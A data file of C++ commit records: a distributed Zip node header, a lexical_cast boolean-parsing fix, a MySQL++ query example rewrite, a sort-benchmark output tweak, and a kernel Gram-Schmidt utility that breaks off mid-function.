\\{\n\n\/*!\n * A DIANode which performs a Zip operation. Zip combines two DIAs\n * element-by-element. The ZipNode stores the zip_function UDF. The chainable\n * LOps are stored in the Stack.\n *\n * <pre>\n *                ParentStack1 ParentStack2\n *                 +--------+   +--------+\n *                 |        |   |        |  A ParentStackX is called with\n *                 |        |   |        |  ParentInputX, and must deliver\n *                 |        |   |        |  a ZipArgX item.\n *               +-+--------+---+--------+-+\n *               | | PreOp1 |   | PreOp2 | |\n *               | +--------+   +--------+ |\n * DIARef<T> --> |           Zip           |\n *               |        +-------+        |\n *               |        |PostOp |        |\n *               +--------+-------+--------+\n *                        |       | New DIARef<T>::stack_ is started\n *                        |       | with PostOp to chain next nodes.\n *                        +-------+\n * <\/pre>\n *\n * \\tparam ValueType Output type of the Zip operation.\n *\n * \\tparam ParentStack1 Function stack, which contains the chained lambdas\n * between the last and this DIANode for first input DIA.\n *\n * \\tparam ParentStack2 Function stack, which contains the chained lambdas\n * between the last and this DIANode for second input DIA.\n *\n * \\tparam ZipFunction Type of the ZipFunction.\n *\/\ntemplate <typename ValueType,\ntypename ParentStack1, typename ParentStack2,\ntypename ZipFunction>\nclass TwoZipNode : public DOpNode<ValueType>\n{\n    static const bool debug = false;\n\n    using Super = DOpNode<ValueType>;\n    using Super::context_;\n\n    using ZipArg0 =\n    typename common::FunctionTraits<ZipFunction>::template arg<0>;\n    using ZipArg1 =\n    typename common::FunctionTraits<ZipFunction>::template arg<1>;\n\n    using ParentInput1 = typename ParentStack1::Input;\n    using ParentInput2 = typename ParentStack2::Input;\n\npublic:\n    \/*!\n     * Constructor for a ZipNode.\n     *\n     * \\param ctx Reference to the Context, which gives iterators for data\n     * \\param parent1 First parent of the ZipNode\n     * \\param parent2 Second parent of the ZipNode\n     * \\param parent_stack1 Function stack with all lambdas between the parent and this node for first DIA\n     * \\param parent_stack2 Function stack with all lambdas between the parent and this node for second DIA\n     * \\param zip_function Zip function used to zip elements.\n     *\/\n    TwoZipNode(Context& ctx,\n               std::shared_ptr<DIANode<ParentInput1>> parent1,\n               std::shared_ptr<DIANode<ParentInput2>> parent2,\n               ParentStack1& parent_stack1,\n               ParentStack2& parent_stack2,\n               ZipFunction zip_function)\n            : DOpNode<ValueType>(ctx, { parent1, parent2 }),\n              zip_function_(zip_function)\n    {\n        \/\/ Hook PreOp(s)\n        auto pre_op1_fn = [=](const ZipArg0& input) {\n            emit1_(input);\n        };\n        auto pre_op2_fn = [=](const ZipArg1& input) {\n            emit2_(input);\n        };\n\n        \/\/ close the function stacks with our pre ops and register it at parent\n        \/\/ nodes for output\n        auto lop_chain1 = parent_stack1.push(pre_op1_fn).emit();\n        auto lop_chain2 = parent_stack2.push(pre_op2_fn).emit();\n\n        parent1->RegisterChild(lop_chain1);\n        parent2->RegisterChild(lop_chain2);\n\n        \/\/ Setup Emitters\n        for (size_t i = 0; i < num_dias_; ++i) {\n            id_[i] = context_.get_data_manager().AllocateDIA();\n        }\n        emit1_ = context_.get_data_manager().\n                template GetLocalEmitter<ZipArg0>(id_[0]);\n        emit2_ = context_.get_data_manager().\n                template GetLocalEmitter<ZipArg1>(id_[1]);\n    }\n\n    \/*!\n     * Actually executes the zip operation. Uses the member functions PreOp,\n     * MainOp and PostOp.\n     *\/\n    void Execute() override {\n        MainOp();\n        \/\/ get data from data manager\n        auto it1 = context_.get_data_manager().\n                template GetIterator<ZipArg0>(id_[0]);\n        auto it2 = context_.get_data_manager().\n                template GetIterator<ZipArg1>(id_[1]);\n        do {\n            it1.WaitForMore();\n            it2.WaitForMore();\n            \/\/ Iterate over smaller DIA\n            while (it1.HasNext() && it2.HasNext()) {\n                auto item = std::make_pair(it1.Next(), it2.Next());\n                for (auto func : DIANode<ValueType>::callbacks_) {\n                    func(item);\n                }\n            }\n        } while (!it1.IsClosed() && !it2.IsClosed());\n    }\n\n    \/*!\n     * Creates empty stack.\n     *\/\n    auto ProduceStack() {\n        \/\/ Hook PostOp\n        auto post_op_fn = [=](ValueType elem, auto emit_func) {\n            return PostOp(elem, emit_func);\n        };\n\n        return MakeFunctionStack<ValueType>(post_op_fn);\n    }\n\n    \/*!\n     * Returns \"[ZipNode]\" as a string.\n     * \\return \"[ZipNode]\"\n     *\/\n    std::string ToString() override {\n        return \"[ZipNode]\";\n    }\n\nprivate:\n    \/\/! Zip function\n    ZipFunction zip_function_;\n\n    \/\/! Number of storage DIAs backing\n    static const size_t num_dias_ = 2;\n\n    \/\/! Ids of storage DIAs\n    std::array<data::DIAId, num_dias_> id_;\n\n    \/\/! Emitter\n    data::Emitter<ZipArg0> emit1_;\n    data::Emitter<ZipArg1> emit2_;\n\n    \/\/!Receive elements from other workers.\n    void MainOp() {\n        \/\/net::Group flow_group = context_.get_flow_net_group();\n        net::FlowControlChannel& channel = context_.get_flow_control_channel();\n\n        data::Manager &data_manager = context_.get_data_manager();\n        size_t workers = context_.number_worker();\n\n        \/\/ Offsets to declare which target gets which block\n        std::vector<size_t> blocks(num_dias_, 0);\n\n        for (size_t i = 0; i < num_dias_; ++i) {\n            size_t numElems = data_manager.GetNumElements(id_[i]);\n            \/\/net::PrefixSum(flow_group, prefix);\n            size_t prefixNumElems = channel.PrefixSum(numElems, common::SumOp<ValueType>(), false);\n            \/\/flow_group.TotalSum(prefix);\n            size_t totalNumElems = channel.AllReduce(numElems);\n            \/\/size_t total = data_manager.GetNumElements(id_[i]);\n            size_t per_pe = totalNumElems \/ workers;\n            \/\/ offsets for scattering\n            std::vector<size_t> offsets(num_dias_, 0);\n\n            size_t offset = 0;\n            size_t count = std::min(per_pe - prefixNumElems % per_pe, numElems);\n            size_t target = prefixNumElems \/ per_pe;\n\n            while (numElems > 0) {\n                offsets[target] = offset + count - 1;\n                prefixNumElems += count;\n                numElems -= count;\n                offset += count;\n                count = std::min(per_pe - prefixNumElems % per_pe, numElems);\n                target++;\n            }\n\n            for (size_t x = target; x < workers; x++)\n                offsets[x] = offsets[x-1];\n\n            data_manager.Scatter(id_[i], data_manager.AllocateNetworkChannel(), offsets);\n        }\n    }\n\n    \/\/! Use the ZipFunction to Zip workers\n    template <typename Emitter>\n    void PostOp(ValueType input, Emitter emit_func) {\n        emit_func(zip_function_(input.first, input.second));\n    }\n};\n\ntemplate <typename CurrentType, typename Stack>\ntemplate <typename ZipFunction, typename SecondDIA>\nauto DIARef<CurrentType, Stack>::Zip(\n        const ZipFunction &zip_function, SecondDIA second_dia) {\n\n    using ZipResult\n    = typename common::FunctionTraits<ZipFunction>::result_type;\n\n    using ZipResultNode\n    = TwoZipNode<ZipResult, Stack, typename SecondDIA::Stack,\n            ZipFunction>;\n\n    auto zip_node\n        = std::make_shared<ZipResultNode>(node_->get_context(),\n                                          node_,\n                                          second_dia.get_node(),\n                                          local_stack_,\n                                          second_dia.get_stack(),\n                                          zip_function);\n\n    auto zip_stack = zip_node->ProduceStack();\n\n    return DIARef<ZipResultNode, decltype(zip_stack)>(\n            std::move(zip_node), zip_stack);\n}\n\n} \/\/ namespace api\n} \/\/ namespace c7a\n\n\/\/! \\}\n\n#endif \/\/ !C7A_API_ZIP_NODE_HEADER\n\n\/******************************************************************************\/<|endoftext|>"}
{"text":"<commit_before>\/\/C++ 11ʵֵlexical_castΪ˰boost\n\/\/: https:\/\/github.com\/qicosmos\/cosmos\n\n#ifndef CPP_11_LEXICAL_CAST_HPP\n#define CPP_11_LEXICAL_CAST_HPP\n\n#include <type_traits>\n#include <string>\n#include <cstdlib>\n#include <algorithm>\n#include <stdexcept>\n#include <cctype>\n#include <cstring>\nusing namespace std;\n\nnamespace detail\n{\nstatic const char* strue = \"true\";\nstatic const char* sfalse = \"false\";\n\ntemplate <typename To, typename From>\nstruct Converter\n{\n};\n\n\/\/to numeric\ntemplate <typename From>\nstruct Converter<int, From>\n{\n    static int convert(const string& from)\n    {\n        return std::atoi(from.c_str());\n    }\n\n    static int convert(const char* from)\n    {\n        return std::atoi(from);\n    }\n};\n\ntemplate <typename From>\nstruct Converter<long, From>\n{\n    static long convert(const string& from)\n    {\n        return std::atol(from.c_str());\n    }\n\n    static long convert(const char* from)\n    {\n        return std::atol(from);\n    }\n};\n\ntemplate <typename From>\nstruct Converter<long long, From>\n{\n    static long long convert(const string& from)\n    {\n        return std::atoll(from.c_str());\n    }\n\n    static long long convert(const char* from)\n    {\n        return std::atoll(from);\n    }\n};\n\ntemplate <typename From>\nstruct Converter<double, From>\n{\n    static double convert(const string& from)\n    {\n        return std::atof(from.c_str());\n    }\n\n    static double convert(const char* from)\n    {\n        return std::atof(from);\n    }\n};\n\ntemplate <typename From>\nstruct Converter<float, From>\n{\n    static float convert(const string& from)\n    {\n        return (float)std::atof(from.c_str());\n    }\n\n    static float convert(const char* from)\n    {\n        return (float)std::atof(from);\n    }\n};\n\n\/\/to bool\ntemplate <typename From>\nstruct Converter<bool, From>\n{\n    static typename std::enable_if<std::is_integral<From>::value, bool>::type convert(From from)\n    {\n        return !!from;\n    }\n};\n\nstatic bool checkbool(const char* from, const size_t len, const char* s)\n{\n    for(size_t i = 0; i < len; i++)\n    {\n        if(from[i] != s[i])\n        {\n            return false;\n        }\n    }\n\n    return true;\n}\n\nstatic bool convert(const char* from)\n{\n    const unsigned int len = strlen(from);\n    if(len != 4 && len != 5)\n        throw std::invalid_argument(\"argument is invalid\");\n\n    bool r = true;\n    if(len == 4)\n    {\n        \/\/\"true\"\n        r = checkbool(from, len, strue);\n\n        if(r)\n            return true;\n    }\n    else if(len == 5)\n    {\n        \/\/\"false\"\n        r = checkbool(from, len, sfalse);\n\n        if(r)\n            return false;\n    }\n    else\n    {\n        \/\/ תΪbool\n        int value = Converter<int, const char*>::convert(from);\n        return (value > 0);\n    }\n\n    throw std::invalid_argument(\"argument is invalid\");\n}\n\ntemplate <>\nstruct Converter<bool, string>\n{\n    static bool convert(const string& from)\n    {\n        return detail::convert(from.c_str());\n    }\n};\n\ntemplate <>\nstruct Converter<bool, const char*>\n{\n    static bool convert(const char* from)\n    {\n        return detail::convert(from);\n    }\n};\n\ntemplate <>\nstruct Converter<bool, char*>\n{\n    static bool convert(char* from)\n    {\n        return detail::convert(from);\n    }\n};\n\ntemplate <unsigned N>\nstruct Converter<bool, const char[N]>\n{\n    static bool convert(const char(&from)[N])\n    {\n        return detail::convert(from);\n    }\n};\n\ntemplate <unsigned N>\nstruct Converter<bool, char[N]>\n{\n    static bool convert(const char(&from)[N])\n    {\n        return detail::convert(from);\n    }\n};\n\n\/\/to string\ntemplate <typename From>\nstruct Converter<string, From>\n{\n    static string convert(const From& from)\n    {\n        return std::to_string(from);\n    }\n};\n}\n\ntemplate <typename To, typename From>\ntypename std::enable_if < !std::is_same<To, From>::value, To >::type lexical_cast(const From& from)\n{\n    return detail::Converter<To, From>::convert(from);\n}\n\ntemplate <typename To, typename From>\ntypename std::enable_if<std::is_same<To, From>::value, To>::type lexical_cast(const From& from)\n{\n    return from;\n}\n\ntemplate<typename ValueTYPE>\nbool ValueFromString(const std::string& strValue, ValueTYPE& nValue)\n{\n    try\n    {\n        nValue = lexical_cast<ValueTYPE>(strValue);\n        return true;\n    }\n    catch(...)\n    {\n        return false;\n    }\n\n    return false;\n}\n\ntemplate<typename ValueTYPE>\nbool ValueToString(const ValueTYPE& nValue, std::string& strData)\n{\n    try\n    {\n        strData = lexical_cast<std::string>(nValue);\n        return true;\n    }\n    catch(...)\n    {\n        return false;\n    }\n\n    return false;\n}\n#endif \/\/!CPP_11_LEXICAL_CAST_HPP<commit_msg>fix lexical_cast bug when convert number string to boolean<commit_after>\/\/C++ 11ʵֵlexical_castΪ˰boost\n\/\/: https:\/\/github.com\/qicosmos\/cosmos\n\n#ifndef CPP_11_LEXICAL_CAST_HPP\n#define CPP_11_LEXICAL_CAST_HPP\n\n#include <type_traits>\n#include <string>\n#include <cstdlib>\n#include <algorithm>\n#include <stdexcept>\n#include <cctype>\n#include <cstring>\nusing namespace std;\n\nnamespace detail\n{\nstatic const char* strue = \"true\";\nstatic const char* sfalse = \"false\";\n\ntemplate <typename To, typename From>\nstruct Converter\n{\n};\n\n\/\/to numeric\ntemplate <typename From>\nstruct Converter<int, From>\n{\n    static int convert(const string& from)\n    {\n        return std::atoi(from.c_str());\n    }\n\n    static int convert(const char* from)\n    {\n        return std::atoi(from);\n    }\n};\n\ntemplate <typename From>\nstruct Converter<long, From>\n{\n    static long convert(const string& from)\n    {\n        return std::atol(from.c_str());\n    }\n\n    static long convert(const char* from)\n    {\n        return std::atol(from);\n    }\n};\n\ntemplate <typename From>\nstruct Converter<long long, From>\n{\n    static long long convert(const string& from)\n    {\n        return std::atoll(from.c_str());\n    }\n\n    static long long convert(const char* from)\n    {\n        return std::atoll(from);\n    }\n};\n\ntemplate <typename From>\nstruct Converter<double, From>\n{\n    static double convert(const string& from)\n    {\n        return std::atof(from.c_str());\n    }\n\n    static double convert(const char* from)\n    {\n        return std::atof(from);\n    }\n};\n\ntemplate <typename From>\nstruct Converter<float, From>\n{\n    static float convert(const string& from)\n    {\n        return (float)std::atof(from.c_str());\n    }\n\n    static float convert(const char* from)\n    {\n        return (float)std::atof(from);\n    }\n};\n\n\/\/to bool\ntemplate <typename From>\nstruct Converter<bool, From>\n{\n    static typename std::enable_if<std::is_integral<From>::value, bool>::type convert(From from)\n    {\n        return !!from;\n    }\n};\n\nstatic bool checkbool(const char* from, const size_t len, const char* s)\n{\n    for(size_t i = 0; i < len; i++)\n    {\n        if(from[i] != s[i])\n        {\n            return false;\n        }\n    }\n\n    return true;\n}\n\nstatic bool convert(const char* from)\n{\n    const unsigned int len = strlen(from);\n    \/\/if(len != 4 && len != 5)\n    \/\/    throw std::invalid_argument(\"argument is invalid\");\n\n    bool r = true;\n    if(len == 4)\n    {\n        \/\/\"true\"\n        r = checkbool(from, len, strue);\n\n        if(r)\n            return true;\n    }\n    else if(len == 5)\n    {\n        \/\/\"false\"\n        r = checkbool(from, len, sfalse);\n\n        if(r)\n            return false;\n    }\n    else\n    {\n        \/\/ תΪbool\n        int value = Converter<int, const char*>::convert(from);\n        return (value > 0);\n    }\n\n    throw std::invalid_argument(\"argument is invalid\");\n}\n\ntemplate <>\nstruct Converter<bool, string>\n{\n    static bool convert(const string& from)\n    {\n        return detail::convert(from.c_str());\n    }\n};\n\ntemplate <>\nstruct Converter<bool, const char*>\n{\n    static bool convert(const char* from)\n    {\n        return detail::convert(from);\n    }\n};\n\ntemplate <>\nstruct Converter<bool, char*>\n{\n    static bool convert(char* from)\n    {\n        return detail::convert(from);\n    }\n};\n\ntemplate <unsigned N>\nstruct Converter<bool, const char[N]>\n{\n    static bool convert(const char(&from)[N])\n    {\n        return detail::convert(from);\n    }\n};\n\ntemplate <unsigned N>\nstruct Converter<bool, char[N]>\n{\n    static bool convert(const char(&from)[N])\n    {\n        return detail::convert(from);\n    }\n};\n\n\/\/to string\ntemplate <typename From>\nstruct Converter<string, From>\n{\n    static string convert(const From& from)\n    {\n        return std::to_string(from);\n    }\n};\n}\n\ntemplate <typename To, typename From>\ntypename std::enable_if < !std::is_same<To, From>::value, To >::type lexical_cast(const From& from)\n{\n    return detail::Converter<To, From>::convert(from);\n}\n\ntemplate <typename To, typename From>\ntypename std::enable_if<std::is_same<To, From>::value, To>::type lexical_cast(const From& from)\n{\n    return from;\n}\n\ntemplate<typename ValueTYPE>\nbool ValueFromString(const std::string& strValue, ValueTYPE& nValue)\n{\n    try\n    {\n        nValue = lexical_cast<ValueTYPE>(strValue);\n        return true;\n    }\n    catch(...)\n    {\n        return false;\n    }\n\n    return false;\n}\n\ntemplate<typename ValueTYPE>\nbool ValueToString(const ValueTYPE& nValue, std::string& strData)\n{\n    try\n    {\n        strData = lexical_cast<std::string>(nValue);\n        return true;\n    }\n    catch(...)\n    {\n        return false;\n    }\n\n    return false;\n}\n#endif \/\/!CPP_11_LEXICAL_CAST_HPP<|endoftext|>"}
{"text":"<commit_before>\/***********************************************************************\n simple1.cpp - Example showing the simplest way to get data from a MySQL\n    database with MySQL++.\n\n Copyright (c) 1998 by Kevin Atkinson, (c) 1999, 2000 and 2001 by\n MySQL AB, and (c) 2004, 2005 by Educational Technology Resources, Inc.\n Others may also hold copyrights on code in this file.  See the CREDITS\n file in the top directory of the distribution for details.\n\n This file is part of MySQL++.\n\n MySQL++ is free software; you can redistribute it and\/or modify it\n under the terms of the GNU Lesser General Public License as published\n by the Free Software Foundation; either version 2.1 of the License, or\n (at your option) any later version.\n\n MySQL++ is distributed in the hope that it will be useful, but WITHOUT\n ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public\n License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with MySQL++; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301\n USA\n***********************************************************************\/\n\n#include \"util.h\"\n\n#include <mysql++.h>\n\n#include <iostream>\n#include <iomanip>\n\nusing namespace std;\n\nint\nmain(int argc, char *argv[])\n{\n\t\/\/ Connect to the sample database.\n\tmysqlpp::Connection con(false);\n\tif (!connect_to_db(argc, argv, con)) {\n\t\treturn 1;\n\t}\n\n\t\/\/ Retrieve the sample stock table set up by resetdb\n\tmysqlpp::Query query = con.query();\n\tquery << \"select * from stock\";\n\tmysqlpp::Result res = query.store();\n\n\t\/\/ Display results\n\tif (res) {\n\t\t\/\/ Display header\n\t\tcout.setf(ios::left);\n\t\tcout << setw(21) << \"Item\" <<\n\t\t\t\tsetw(10) << \"Num\" <<\n\t\t\t\tsetw(10) << \"Weight\" <<\n\t\t\t\tsetw(10) << \"Price\" <<\n\t\t\t\t\"Date\" << endl << endl;\n\n\t\t\/\/ Get each row in result set, and print its contents\n\t\tmysqlpp::Row row;\n\t\tmysqlpp::Row::size_type i;\n\t\tfor (i = 0; row = res.at(i); ++i) {\n\t\t\tcout << setw(20) << row[\"item\"] << ' ' <<\n\t\t\t\t\tsetw(9) << row[\"num\"] << ' ' <<\n\t\t\t\t\tsetw(9) << row[\"weight\"] << ' ' <<\n\t\t\t\t\tsetw(9) << row[\"price\"] << ' ' <<\n\t\t\t\t\tsetw(9) << row[\"sdate\"] <<\n\t\t\t\t\tendl;\n\t\t}\n\t}\n\telse {\n\t\tcerr << \"Failed to get stock item: \" << query.error() << endl;\n\t\treturn 1;\n\t}\n\n\treturn 0;\n}\n<commit_msg>New simple1.cpp, simpler than simple2.cpp; basically, an exception-less and SSQLS-free version of custom6.<commit_after>\/***********************************************************************\n simple1.cpp - Example showing the simplest way to get data from a MySQL\n    table with MySQL++.\n\n Copyright (c) 1998 by Kevin Atkinson, (c) 1999, 2000 and 2001 by\n MySQL AB, and (c) 2004, 2005 by Educational Technology Resources, Inc.\n Others may also hold copyrights on code in this file.  See the CREDITS\n file in the top directory of the distribution for details.\n\n This file is part of MySQL++.\n\n MySQL++ is free software; you can redistribute it and\/or modify it\n under the terms of the GNU Lesser General Public License as published\n by the Free Software Foundation; either version 2.1 of the License, or\n (at your option) any later version.\n\n MySQL++ is distributed in the hope that it will be useful, but WITHOUT\n ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or\n FITNESS FOR A PARTICULAR PURPOSE.  See the GNU Lesser General Public\n License for more details.\n\n You should have received a copy of the GNU Lesser General Public\n License along with MySQL++; if not, write to the Free Software\n Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301\n USA\n***********************************************************************\/\n\n#include \"util.h\"\n\n#include <mysql++.h>\n\n#include <iostream>\n#include <iomanip>\n\nusing namespace std;\n\nint\nmain(int argc, char *argv[])\n{\n\t\/\/ Connect to the sample database.\n\tmysqlpp::Connection con(false);\n\tif (!connect_to_db(argc, argv, con)) {\n\t\treturn 1;\n\t}\n\n\t\/\/ Retrieve a subset of the sample stock table set up by resetdb\n\tmysqlpp::Query query = con.query();\n\tquery << \"select item from stock\";\n\tvector<mysqlpp::Row> res;\n\tquery.storein(res);\n\n\t\/\/ Display the result set\n\tcout << \"We have:\" << endl;\n\tvector<mysqlpp::Row>::iterator it;\n\tfor (it = res.begin(); it != res.end(); ++it) {\n\t\tcout << '\\t' << it->at(0) << endl;\n\t}\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <time.h>\n#include \"make_random_data\/make_random_data.hpp\"\n#include \"sort\/merge.hpp\"\n#include \"sort\/selection.hpp\"\n#include \"sort\/insertion.hpp\"\n#include \"sort\/bubble.hpp\"\n\n#define MIN_SIZE    100\n#define MAX_SIZE    100000\n#define SIZE_STEP   10\n\nint main(void)\n{\n    int *original = make_random_data(MAX_SIZE);\n\n    for(int size_of_data = MIN_SIZE; size_of_data <= MAX_SIZE; size_of_data *= SIZE_STEP)\n    {\n        printf(\"SIZE OF DATA: %d\\n\", size_of_data);\n\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            merge(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"%12s\\t%lf\\n\", \"Merge: \", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            selection(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"%12s\\t%lf\\n\", \"Selection: \", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            insertion(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"%12s%lf\\n\", \"Insertion: \", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            bubble(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"%12s%lf\\n\", \"Bubble: \", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n\n        putchar('\\n');\n    }\n\n    free_random_data(original);\n\n    return 0;\n}\n<commit_msg>Align the output<commit_after>#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <time.h>\n#include \"make_random_data\/make_random_data.hpp\"\n#include \"sort\/merge.hpp\"\n#include \"sort\/selection.hpp\"\n#include \"sort\/insertion.hpp\"\n#include \"sort\/bubble.hpp\"\n\n#define MIN_SIZE    100\n#define MAX_SIZE    100000\n#define SIZE_STEP   10\n\nint main(void)\n{\n    int *original = make_random_data(MAX_SIZE);\n\n    for(int size_of_data = MIN_SIZE; size_of_data <= MAX_SIZE; size_of_data *= SIZE_STEP)\n    {\n        printf(\"SIZE OF DATA: %d\\n\", size_of_data);\n\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            merge(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Merge:\\t\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            selection(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Selection:\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            insertion(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Insertion:\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n        {\n            int *data = (int *)malloc(sizeof(int) * size_of_data);\n            memcpy(data, original, size_of_data);\n\n            clock_t before = clock();\n\n            bubble(data, size_of_data);\n\n            clock_t after = clock();\n\n            printf(\"Bubble:\\t\\t%lf\\n\", (double)(after - before)\/CLOCKS_PER_SEC);\n            free(data);\n        }\n\n        putchar('\\n');\n    }\n\n    free_random_data(original);\n\n    return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * Copyright (c) 2015, Jozef Stefan Institute, Quintelligence d.o.o. and contributors\n * All rights reserved.\n * \n * This source code is licensed under the FreeBSD license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Kernel utilities\nvoid TKernelUtil::CalcKernelMatrix(PSVMTrainSet Set, TFltVV& K) {\n    const int Size = Set->Len(); K.Gen(Size, Size);\n    for (int i = 0; i < Size; i++) {\n        for (int j = i; j < Size; j++)\n            K(i,j) = K(j,i) = Set->DotProduct(i,j);\n    }\n}\n\nvoid TKernelUtil::CenterKernelMatrix(TFltVV& K) {\n    IAssert(K.GetXDim() == K.GetYDim());\n    const int l = K.GetYDim();\n\n    TFltV jK(l);   \/\/ j'K\n    double jKj = 0.0; \/\/ j'Kj\n    for (int j = 0; j < l; j++) {\n        jK[j] = 0.0;\n        for (int i = 0; i < l; i++)\n            jK[j] += K(i,j);\n        jKj += jK[j];\n    }\n\n    double invl = 1.0\/l;\n    for (int i = 0; i < l; i++) {\n        for (int j = 0; j < l; j++)\n            K(i,j) = K(i,j) - invl*jK[j] - invl*jK[i] + invl*invl*jKj;\n    }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Partial-Gram-Schmidt\nTPartialGS::TPartialGS(PSVMTrainSet BigSet, const int& Dim, const double& Eps) {\n    IAssert(Dim <= BigSet->Len() && 0.0 <= Eps && Eps < 1.0);\n    int Len = BigSet->Len();\n\n    TVec<TKeyDat<TFlt, TBool> > NiV(Len);\n    for (int i = 0; i < Len; i++) {\n        \/\/NiV[i].Key = BigSet->DotProduct(i, i);\n        NiV[i].Key = BigSet->GetNorm2(i);\n        NiV[i].Dat = false;\n        \/*IAssertR(NiV[i].Key.Val > 0.0 && _isnan(NiV[i].Key.Val) == 0,\n                 TInt::GetStr(i) + TStr(\":\") + TFlt::GetStr(NiV[i].Key));*\/\n    }\n    R.Gen(Dim, 0);\n    \/\/for (i = 0; i < Dim; i++) R[i].Gen(Len-i);\n    IdV.Gen(Len);\n    for (int i = 0; i < Len; i++) IdV[i] = i;\n\n    TFltV BlufV(Dim, 0); int max = -1;\n    for (int j = 0; j < Dim; j++) {\n        \/\/ find element with bigest residual norm\n        max = -1;\n        for (int t = 0, l = Len; t < l; t++)\n            if (!NiV[t].Dat && (max == -1 || NiV[t].Key > NiV[max].Key)) max = t;\n\n        \/\/ if max residual norm is reached\n        if (NiV[max].Key.Val < Eps) break;\n        \/\/printf(\"(%.2f)\", NiV[max].Key.Val);\n\n        \/\/ permute j-th and max-th column of R\n        NiV[max].Dat = true;\n        int mid = IdV.SearchForw(max, j);\n        { int tmp = IdV[j]; IdV[j] = max; IdV[mid] = tmp; }\n        for (int t = 0; t < j; t++) {\n            double tmp = R[t][j-t];\n            R[t][j-t] = R[t][mid-t];\n            R[t][mid-t] = tmp;\n        }\n\n        \/\/ calculate j-th row of R and update NiV (residual norms)\n        if (-0.001 < NiV[max].Key.Val && NiV[max].Key.Val < 0) NiV[max].Key.Val = 0.0;\n        IAssertR(NiV[max].Key.Val >= 0.0, TInt::GetStr(j) + TStr(\":\") + TFlt::GetStr(NiV[max].Key.Val));\n        IAssert(R.Len() == j);\n        R.Add(TFltV()); R[j].Gen(Len-j); \/\/ NEW\n        R[j][0] = sqrt(NiV[max].Key.Val);\n        BlufV.Add(NiV[IdV[j]].Key.Val);\n        for (int i = j+1; i < Len; i++) {\n            double RR = BigSet->DotProduct(IdV[i], IdV[j]);\n            for (int t = 0; t < j; t++)\n                RR -= R[t][j-t] * R[t][i-t];\n            IAssertR(NiV[IdV[j]].Key.Val>0, TInt::GetStr(i));\n            RR \/= sqrt(NiV[IdV[j]].Key.Val);\n            \/\/IAssertR(_isnan(RR) == 0, TInt::GetStr(IdV[j]) + TStr(\":\") + TFlt::GetStr(NiV[IdV[j]].Key.Val));\n            R[j][i-j] = RR;\n            NiV[IdV[i]].Key -= RR*RR;\n        }\n    }\n\n    if (max == -1) max = 0;\n    printf(\"stoped at %d\/%d with residual norm %.3f\\n\", R.Len(), BigSet->Len(), NiV[max].Key.Val);\n\n    NormV.Gen(Len);\n    VecNormV.Gen(Len);\n    for (int i = 0; i < Len; i++) {\n        NormV[i] = NiV[IdV[i]].Key;\n        VecNormV[i] = GetKernel(i,i);\n    }\n}\n\ndouble TPartialGS::GetKernel(const int& VecId1, const int& VecId2) {\n    double Result = 0.0;\n\n    int Id1 = IdV.SearchForw(VecId1), Id2 = IdV.SearchForw(VecId2);\n    int l = TInt::GetMn(R.Len()-1, Id1, Id2);\n    for (int i = 0; i <= l; i++) {\n        Result += R[i][Id1 - i] * R[i][Id2 - i];\n    }\n\n    return Result;\n}\n\nvoid TPartialGS::GetDocVV(TFltVV& DocVV) {\n    IAssert(R.Len() > 0);\n    const int DocN = R[0].Len();\n    const int DimN = R.Len();\n    DocVV.Gen(DimN, DocN);\n\n    for (int DocC = 0; DocC < DocN; DocC++) {\n        const int DId = 